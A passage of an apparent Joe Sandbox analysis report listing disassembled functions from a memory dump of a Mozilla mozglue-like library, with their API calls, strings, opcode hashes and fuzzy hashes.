moz_xmalloc.MOZGLUE(-00000001,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15E7
free.MOZGLUE(?,?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1637

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction ID: 9327efc8962e44238542fceba6865303f681ca388bc4bec7196521564674d6f3
Opcode Fuzzy Hash: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction Fuzzy Hash: B931C7B2A001148BCB18CF78DC5046F77A9AB893647250B2DE427DBBD6EB30D9058795

Function 6C63AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AD9D

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE01
GetLastError.KERNEL32(?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE3D

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction ID: 30de6af62aceb5e96d6b581c89fa9e4f16cf3bea232609c2ca3026da4307613c
Opcode Fuzzy Hash: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction Fuzzy Hash: 253184B1A003159FDB14DF768C44AABBBF8EF49610F54842DE84AD7740E734D805CBA8

Function 6C635EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C64DCA0,?,?,?,6C60E8B5,00000000), ref: 6C635F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C60E8B5,00000000), ref: 6C635F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C60E8B5,00000000), ref: 6C635F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635FD6

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction ID: be0e4d8d07f4fcef47777d896f9c743a6b6d0e73098badb499ab78fe8daec915
Opcode Fuzzy Hash: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction Fuzzy Hash: 3531E9343006108FD714CF2AC8D8A6AB7F5BF89319FA49668E55A8B795C731EC41CF85

Function 6C5DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5DB532
moz_xmalloc.MOZGLUE(?), ref: 6C5DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5DB57E
free.MOZGLUE(00000000), ref: 6C5DB58F

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction ID: 15607d0a5452e4e6b1ca4ccc47db52fba61cffff37c3bb29810be99ea2da0d8b
Opcode Fuzzy Hash: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction Fuzzy Hash: 9821F871A00205DBDB00DF69CC80B6ABBBAFF86304F694129E914DB342F775E911C7A5

Function 6C636E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C636E78

Part of subcall function 6C636A10: InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636A68
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636A7D
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636AA1
Part of subcall function 6C636A10: EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636AAE
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636AE1
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636B15
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C636B65
Part of subcall function 6C636A10: LeaveCriticalSection.KERNEL32(6C65F618,?,?), ref: 6C636B83

MozFormatCodeAddress.MOZGLUE ref: 6C636EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C636EFF

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction ID: 550383b057776b2747030bb2c0bd34425953669ee1087aebac6f082393df34b5
Opcode Fuzzy Hash: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction Fuzzy Hash: 5821B0B1A0421A8FCB04CF29D8C469E77F5FF84308F044039E80D97240EB709A588F96

Function 6C610D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5D3DEF), ref: 6C610D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5D3DEF), ref: 6C610D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5D3DEF), ref: 6C610DAF

Strings

<jemalloc>, xrefs: 6C610D92, 6C610DB9
: (malloc) Error in VirtualFree(), xrefs: 6C610D97, 6C610DBE

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction ID: 763da2434c194be4bca5f9fc2ebd09151a5612a3019fc0aab0d7d506f942b203
Opcode Fuzzy Hash: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction Fuzzy Hash: 78F0E97179829423EE20196E0C0ABAA269D6BC2B27F704036F204DADC0DA90E43086AD

Function 6C627620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6275C4,?), ref: 6C62762B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627644
GetCurrentThreadId.KERNEL32 ref: 6C62765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627677

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction ID: c07fdd471a13732dc1113f1b20b0c689b3327fa53add153fb563e5a418e3897e
Opcode Fuzzy Hash: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction Fuzzy Hash: 85F0C271E10746ABD700CF22C888676B778FFEA299F614316F94453601E7B0A5D18BD0

Function 6C5FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD751

Strings

MOZ_CRASH(), xrefs: 6C5FD4BB

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction ID: bb9d73a9f5ce42c2c1bec6dfa7da42789ba3ae8b31b6a4cfc8177324bddf2e34
Opcode Fuzzy Hash: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction Fuzzy Hash: 9651E171A047018FD768CF29C59071AB7F1EB8A704FA4492ED5AAC7B84E770E801CF96

Function 6C624630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Strings

-%llu, xrefs: 6C624733
profiler-paused, xrefs: 6C6246E4
., xrefs: 6C62476A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction ID: e560683bab749a39a599dd596f9cd6e6aba1d41dd33dd746c28dac418b1c20c3
Opcode Fuzzy Hash: a380b5ca0ac3c89d96ed87a1a1d55adf1a7511f064edb2a8a4a08a659a56eabd
Instruction Fuzzy Hash: 2C417631F047089BCB08DF39D88116EBBE5EF86748F10C63DE855AB781EB7498008B4A

Function 6C6246E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C624721

Part of subcall function 6C5D4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C613EBD,00000017,?,00000000,?,6C613EBD,?,?,6C5D42D2), ref: 6C5D4444

Strings

-%llu, xrefs: 6C624733
profiler-paused, xrefs: 6C6246E4
., xrefs: 6C62476A

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction ID: f064673dbb7e2cec8ba75cd041bebaca5c1ffd53141d23656812a78e2785d762
Opcode Fuzzy Hash: 7aea4366d871f84014487f171c333300c650940c8d21267fc30d6522cc763ee1
Instruction Fuzzy Hash: AE314B71F042085BCB0CCF6DD8812ADBBE6DB89314F55813DE8559B781E7B498048F99

Function 6C62B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C613EBD,6C613EBD,00000000), ref: 6C5D42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C62B127), ref: 6C62B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C62B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C62B4E4

Strings

pid:, xrefs: 6C62B4DE

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction ID: 7172af6adf0d0f842047cd90374b44cd973535e12cbf9afcffa8e628cc2055ea
Opcode Fuzzy Hash: 8acbdb9a9fab67beafe1afd2c392746a2b1cbce9390df78a1da7ec393bfa8de0
Instruction Fuzzy Hash: 74310531A01208DBDB00DFA9D8C0AEEB7B5FF89318F940529D8126BA41D735A945CFE9

Function 6C61E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61E577
AcquireSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E584
ReleaseSRWLockExclusive.KERNEL32(6C65F4B8), ref: 6C61E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61E8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C61E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C61E722, 6C61E750, 6C61E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C61E5A1, 6C61E5CC, 6C61E5FF, 6C61E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C61E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C61E826, 6C61E850

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction ID: de6f39b18fc37e564f74324d08876a8ea8a6db5cfe551ee54c3d25bd264bb4ac
Opcode Fuzzy Hash: 2829931b33c4763fa02bc8e1c5c816aad3069fa8af6cf07da490aa49390f1fcc
Instruction Fuzzy Hash: B7118E31604254DFCB00DF1AC488A6ABBF4FFC9328FA00619E88597A51C774A815CBDE

Function 6C620C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620CD5

Part of subcall function 6C60F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C60F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C620D40
free.MOZGLUE ref: 6C620DCB

Part of subcall function 6C5F5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5F5EDB
Part of subcall function 6C5F5E90: memset.VCRUNTIME140(ewcl,000000E5,?), ref: 6C5F5F27
Part of subcall function 6C5F5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C5F5FB2

free.MOZGLUE ref: 6C620DDD
free.MOZGLUE ref: 6C620DF2

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction ID: 36527e596418de067379f5ad8b037bd7d2d7b561d352890ca2ec37a0bf86e9a1
Opcode Fuzzy Hash: 7d038b936bd1e8d5bf3fc28efe4b88ecc6da77ee36301fe8173694e11811271c
Instruction Fuzzy Hash: 19413871A097849BD720CF29C08079AFBE5BFC9714F608A2EE8D887750DB749845CF86

Function 6C62CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDA4

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D158
Part of subcall function 6C62D130: InitializeConditionVariable.KERNEL32(00000098,?,6C62CDBA,00100000,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CDC4

Part of subcall function 6C627480: ReleaseSRWLockExclusive.KERNEL32(?,6C6315FC,?,?,?,?,6C6315FC,?), ref: 6C6274EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62CECC

Part of subcall function 6C5ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C5ECAA2

Part of subcall function 6C61CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C62CEEA,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000), ref: 6C61CB57
Part of subcall function 6C61CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C61CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C62CEEA,?,?), ref: 6C61CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C61DA31,00100000,?,?,00000000,?), ref: 6C62D058

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction ID: f9bcd84799b1b0d32f958205256c2e87c9bf35607c4ff9904cb323c8c42a3919
Opcode Fuzzy Hash: 90d0d2586928a368136a2525dcab0e5dbb68a76f2760bd365ef092df90374189
Instruction Fuzzy Hash: 19D17E71A04B069FD718CF28C480B99F7E1BF89308F01862DD9598B752EB31E9A5CF85

Function 6C5F5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C5F5D40
EnterCriticalSection.KERNEL32(6C65F688), ref: 6C5F5D67
__aulldiv.LIBCMT ref: 6C5F5DB4
LeaveCriticalSection.KERNEL32(6C65F688), ref: 6C5F5DED

Memory Dump Source

Source File: 00000000.00000002.1909301449.000000006C5D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.1909283957.000000006C5D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909384580.000000006C65E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

